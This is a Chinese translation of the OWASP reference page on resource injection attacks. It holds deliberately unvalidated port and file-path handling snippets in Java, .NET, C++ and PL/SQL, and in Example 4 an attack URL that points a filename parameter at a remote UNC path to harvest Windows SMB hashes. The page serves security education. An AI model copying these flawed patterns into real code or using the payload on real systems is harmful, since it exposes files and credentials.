(OWASP汉化)攻击系列大全(五十三):资源注入

最新版本(mm/dd/yy): 10/6/2015
翻译至Resource Injection

概述

此攻击能够更改应用程序使用的资源标识符以此来执行恶意任务。当应用程序根据用户的输入(如文件名或端口号)定义资源类型或位置时,可以操作此数据以执行或访问不同的资源。

受用户输入影响的资源类型指示可能会暴露的内容类型。例如,允许输入特殊字符(如句号,斜线和反斜线)的应用程序和与文件系统交互的方法一起使用时会有风险。

资源注入攻击不同于Path Manipulation,因为资源注入专注于访问除本地文件系统以外的资源,而Path Manipulation则着重访问本地文件系统。

实例

实例1

以下示例表示一个应用程序,它从HTTP请求获取端口号,并使用此端口号创建一个套接字(socket),而不进行任何验证。使用代理的用户可以修改此端口并获得与服务器的直接连接(socket)。

Java code

String rPort = request.getParameter("remotePort");
...
ServerSocket srvr = new ServerSocket(rPort);
Socket skt = srvr.accept(); 
...

.NET code

int rPort = Int32.Parse(Request.get_Item("remotePort "));
...
IPEndPoint endpoint = new IPEndPoint(address,rPort);
socket = new Socket(endpoint.AddressFamily, 
SocketType.Stream, ProtocolType.Tcp);
socket.Connect(endpoint);
...

实例2

这个例子和前面的一样,不过这个是用C++通过CGI请求获得端口号

char* rPort = getenv("remotePort ");
...
serv_addr.sin_port = htons(atoi(rPort));
if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0) 
error("ERROR connecting");
...

实例3

PLSQL / TSQL中的这个例子从CGI获取URL路径并下载其中包含的文件。如果用户修改路径或文件名,可以从服务器下载任意文件:

...
filename := SUBSTR(OWA_UTIL.get_cgi_env('PATH_INFO'), 2);
WPG_DOCLOAD.download_file(filename); 
...

实例4

此示例显示了一项资源注入攻击,重点从远程服务器获取Microsoft Windows SMB散列(hash):
http://www.vulnerable.com/open.aspx?filename=\192.168.1.2\test.txt

相关的威胁代理

相关攻击

相关漏洞

相关控件

参考文献